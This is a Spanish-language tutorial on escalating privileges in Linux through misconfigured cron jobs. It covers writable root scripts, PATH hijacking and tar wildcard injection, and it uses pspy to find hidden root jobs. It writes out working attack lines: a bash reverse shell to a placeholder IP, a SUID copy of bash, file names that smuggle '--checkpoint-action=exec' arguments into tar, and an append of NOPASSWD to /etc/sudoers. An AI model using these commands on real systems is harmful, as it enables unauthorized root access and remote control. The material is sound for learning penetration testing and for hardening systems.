Dentro del mundo de las escaladas de privilegios en Linux existen una serie de verificaciones que debemos hacer y los cronjobs no deben ser la excepción. En este post vamos a estar explicando como se pueden aprovechar los escenarios más típicos con los CronJobs para escalar privilegios.
Índice:
- ¿Qué es Cron?
- Fichero Crontab
- Operadores Crontab
- Restricciones de Crontab
- Cronjobs
- Enumeración de tareas ocultas
- Referencias


En los sistemas operativos Linux, al igual que otros sistemas, se puede automatizar el lanzamiento de programas o scripts en ciertos periodos de tiempo. Si esto se configura incorrectamente (Misconfigurations) puede llegar a permitir que los atacantes escalen privilegios.
Siempre es importante entender el proceso de lo que estamos haciendo, así que vamos a ver un poco de teoría:
¿Qué es Cron?
Cron es un clock daemon (demonio de reloj) que se ejecuta constantemente en segundo plano, permite a los usuarios automatizar tareas. Esta utilidad Cron examina una lista de “cosas por hacer” en busca de alguna tarea programada pendiente por ejecutar, de ser así, la ejecuta, si no, espera un periodo de tiempo y vuelve a verificar la lista. Esta lista de cosas por hacer se llama cron table o Crontab.
Cron se maneja con diferentes ficheros, en el directorio /etc/ se encuentran:
- cron.hourly
- cron.daily
- cron.weekly
- cron.monthly
Si se coloca un script en uno de estos directorios, se ejecutará cada hora, día, semana o mes, según el directorio donde se haya agregado. Estos directorios son administrados por el fichero crontab.


Ahora bien, hablemos sobre el fichero que contiene la lista de cosas por hacer → crontab
Fichero crontab
El fichero crontab es el que contiene una lista de comandos destinados a ejecutarse en momentos específicos. Este tiene 5 campos para indicar las unidades de tiempo para ejecutar comandos ó tareas y su estructura es:
- Minute / Hour / Day Of The Month / Month / Day Of The Week


Comandos Crontab
Una vista rápida a aquellos parámetros que maneja crontab:


- crontab -e → Edite el archivo crontab o cree uno si aún no existe.
- crontab -l → Muestra el contenido del archivo crontab.
- crontab -r → Elimina el crontab actual.
- crontab -i → Elimine su archivo crontab actual con un aviso antes de eliminarlo.
- crontab -u <username> → Se especifica el nombre del usuario cuyo crontab se va a utilizar (Esta opción requiere privilegios de root)
Operadores Crontab
- , –> especifica una lista de valores, por ejemplo: “1,3,4,7,8”
- – –> especifica un rango de valores, por ejemplo: “1-6”, que es equivalente a “1,2,3,4,5,6”
- * –> especifica todos los valores posibles para un campo. Por ejemplo, un asterisco en el campo de hora equivaldría a ‘cada hora’.
- / –> se puede utilizar para omitir un número determinado de valores.
Ejemplos del uso de los operadores, para ejecutar tareas en intervalos de tiempo:
- Recordatorio de la sintaxis:
- Minute / Hour / Day Of The Month / Month / Day Of The Week
- Ejecute un comando a las 15:00 todos los días de lunes a viernes:
- 0 15 * * 1-5 command
- Ejecute un script el primer lunes de cada mes, a las 7 am
- 0 7 1-7 * 1 /path/to/script.sh
- Cada dos horas desde las 11 p.m. a las 7 a.m., y a las 8 a.m.
- 0 23-7/2,8 * * * date
- A las 11:00 am el día 4 y todos los lun, mar, mié
- 0 11 4 * lun-mié date
Restricciones de Crontab
Existen ficheros con la capacidad de administrar qué usuarios pueden usar crontab, estos ficheros son:
- /etc/cron.allow
- /etc/cron.deny
Estos ficheros no existen por defectos pero pueden estar creados con la intención de tener un control. En el caso de que existan estas son las siguientes condiciones para los usuarios:
- Si el username está en el fichero cron.allow → Puede ejecutar crontab
- Si el fichero cron.allow no existe → Puede ejecutar crontab si su username no esta en el fichero cron.deny
- Si cron.deny existe y está vacío → todos los usuarios pueden usar crontab
- Si ninguno de los archivos existe → dependiendo de los parámetros de configuración, solo root podrá utilizar este comando, o todos los usuarios podrán utilizarlo.
En los sistemas Debian estándar, todos los usuarios pueden utilizar este comando.
Cronjobs
En Linux a aquellas tareas programadas dentro del fichero crontab se le conoce como cronjobs. Los cronjobs se estructuran de la siguiente forma:


Dentro del siguiente ejemplo podemos ver que el fichero crontab almacena dentro las tareas automatizadas, es decir los cronjobs:


Existen tres formas principales de explotar cronjobs:
- Permisos de archivo débiles (File Permissions / File Overwrite)
- Falta de la ruta absoluta en binarios y comandos (PATH Environment Variable)
- El uso de (*) que se emplean al ejecutar comandos, (Wildcards)
Ahora vamos a ir viendo cada una de estas formas.
Cron Jobs – File Permissions / File Overwrite
Veamos el fichero /etc/crontab:
- cat /etc/crontab


Observamos que existen 2 tareas programadas para ejecutarse cada minuto con los privilegios de root:
- overwrite.sh
- /usr/local/bin/compress.sh
Ahora buscamos donde se aloja el fichero overwrite.sh:
- locate overwrite.sh


Se aloja en /usr/local/bin/overwrite.sh pasamos a verificar los permisos:
- ls -lah /usr/local/bin/overwrite.sh


Como vemos “otros” tienen permisos de escritura, pasamos a aprovecharnos de esto para modificar el script overwrite.sh.
Podemos bien añadir líneas al script ó reemplazarlo todo, para el ejemplo lo vamos a reemplazar con una reverse shell en bash
- nano /usr/local/bin/overwrite.sh


Una vez modificado el fichero, nos colocamos a la escucha en nuestra máquina en el mismo puerto señalado en el script
Desde nuestra máquina:
- nc -lvp 4444


Obtenemos shell con los privilegios de root esto debido a que existe una tarea programada o un cronjob que ejecuta el script que hemos modificado como root. Además, lo verdaderamente importante es que este script puede ser modificado por “otros”.
Cron Jobs – PATH Environment Variable
Nuevamente, verificamos el fichero /etc/crontab:
- cat /etc/crontab


2 Puntos a destacar en esta vista del fichero crontab serian:
- Que dentro de los cronjobs está el script overwrite.sh y este no se llama desde una ruta absoluta, por lo tanto, al ejecutarse este cronjob, se iniciara una búsqueda en todo el PATH que podemos ver en el propio crontab, hasta encontrar el script overwrite.sh para ejecutarse.
- La variable PATH comienza por el directorio /home/user
Del ejemplo anterior sabemos que overwrite.sh está ubicando en /usr/local/bin/ y la búsqueda se haría de la siguiente manera:


Aprovechando este escenario creamos un script con el mismo nombre overwrite.sh en el directorio /home/user así al momento de ejecutarse la tarea programada y se inicie la búsqueda en el PATH se identificara y ejecutara el que hemos creado puesto a que está posicionado antes que el otro en el PATH.
Y ahora la búsqueda sería así:


Una vez ubicados en /home/user creamos al script nano overwrite.sh. Ya en este punto las posibilidades están limitadas a tu imaginación, es decir, que puede haber más de una acción que te lleve a ser root. Para este ejemplo, dentro del script copiamos y pegamos el binario /bin/bash en /tmp/bash y otorgamos permisos SUID, ya que con ello podemos pasar a ser root fácilmente.
- Si quieres saber mas de los permisos SUID puedes mirar este otro post:
Finalmente, le otorgamos privilegios de ejecución y esperamos a que se ejecute el cronjob.
- cp /bin/bash /tmp/bash
- chmod +xs /tmp/bash




Después de unos segundos, cuando se ejecute la tarea:


Observamos que ya se ha ejecutado el cronjob porque el binario de /bin/bash se ha copiado a la carpeta /tmp/ y se le ha asignado permisos SUID. Pasamos a ejecutar el binario bash ya con permisos SUID tal como lo indican en:


Nuevamente, somos root, todo gracias a que en el cronjob, en el caso de overwrite.sh no se llama desde una ruta absoluta y, además, tenemos capacidad de escritura en una de las rutas previas a donde se encuentra el binario legítimo.
Cron Jobs – Wildcards
Básicamente, dentro de este escenario el problema que existe es que cuando se ejecuta un cronjob con un wildcard (*) la presencia de este interpreta el nombre de todos los ficheros donde se está ejecutando el wildcard (*) como argumentos. Por ende podemos inyectar argumentos creando ficheros con nombres que correspondan a argumentos válidos para ese programa. Para el ejemplo estaríamos hablando de argumentos válidos para tar.
Verifiquemos una vez más el fichero /etc/crontab
- cat /etc/crontab


En el crontab podemos encontrar una tarea que ejecuta un script el cual contiene el comando tar con un Wildcard (*) en el directorio /home/user como argumento.
- Tar → Execute arbitrary commands:


En este caso, tar posee parámetros por el cual se puede tener la capacidad de ejecutar comandos. Concretamente, para tar, podemos hacer uso de los parámetros de la imagen, donde en “ACTION” usaremos “exec” para ejecutar un comando externo dado.
echo 'echo "user ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers' > run.sh
echo "" > "--checkpoint-action=exec=sh run.sh"
echo "" > --checkpoint=1


Para este ejemplo, se crean dos archivos nombrados como los parámetros de tar, los cuales, ejecutarán el archivo run.sh, el cual, agregará a nuestro usuario la capacidad de poder ejecutar como cualquier usuario cualquier comando, gracias al sudoers (esto último es simplemente una posible forma de escalar privilegios, otras maneras ya vistas en este post, serian mediante ejecución directa de una reverse shell, o asignar SUID a bash).
Una vez se ejecuta la tarea cron, al realizar sudo -l verificamos que podemos ejecutar comandos con sudo. En otras palabras estamos dentro del grupo sudoers:


Nota: se repite por cada vez que la tarea ha sido ejecutada y, por tanto, agrega la sentencia de nuevo al archivo


Y finalmente somos root de nuevo todo debido a que está presente un wildcard (*) en una tarea programada que se ejecuta con root y que utiliza tar y el mismo dispone de argumentos para ejecutar comandos.
Un ejemplo visual de esta situación seria:


Otros binarios distintos de Tar que también son susceptibles al uso de wildcards son:
- chown / chmod
- Rsync
- 7z
- zip
Enumeración de tareas ocultas
Es posible que se pueda dar el escenario donde existan tareas o cronjobs que no sepamos capaces de enumerar con los privilegios que tenemos y, por tanto, para enumerarlas tenemos que hacer uso de herramientas como pspy.
- En este ejemplo vemos como siendo el usuario www-data no identificamos cronjobs custom


Ahora, utilizando la herramienta pspy que se encarga de monitorizar los procesos y los mismos son visibles para todos


Se identifica un cronjob ejecutado por el usuario root (UID=0), donde está ejecutando el siguiente script:
- /var/www/html/tmp/clean.sh


Verificamos los permisos sobre el script clean.sh y somos propietarios del script


En este caso lo modificamos y agregamos una reverse shell y nos colocamos a la escucha:
- echo “bash -i >& /dev/tcp/IP/PORT 0>&1” >> clean.sh
- nc -nlvp port


Como vemos tenemos los privilegios de root.
Aquí es donde surgen las preguntas:
- Si existe un cronjob y verifique el fichero /etc/crontab y no lo vi, ¿entonces donde está?
Básicamente, esto se debe a que en la ruta /var/spool/cron/crontabs se almacenan ficheros que se crean según el nombre de la cuenta del usuario, esto quiere decir que pueden existir tareas programadas o crontabs que se ejecutan como root en un fichero llamado root y solo es visible por root. Entonces digamos que cron dentro de su “lista de cosas por hacer” verifica también /var/spool/cron/crontabs en la búsqueda de ficheros crontab.
Siendo una vez root, verificamos el fichero y los permisos y como podemos ver se encuentra alojada la tarea programada o el cronjob identificado por pspy:


Regresamos al usuario www-data para confirmar que efectivamente con estos privilegios no somos capaces de ver este fichero.


Por último, una lista resumen de directorios u archivos a revisar de cara a detectar posibles tareas cron (en caso de que nuestro usuario tenga permisos de lectura) serían:
- /var/scripts/
- /var/log/cron.log
- /etc/crontab
- /var/spool/cron/
- /var/spool/cron/crontabs/
- /etc/cron.hourly
- /etc/cron.daily
- /etc/cron.weekly
- /etc/cron.monthly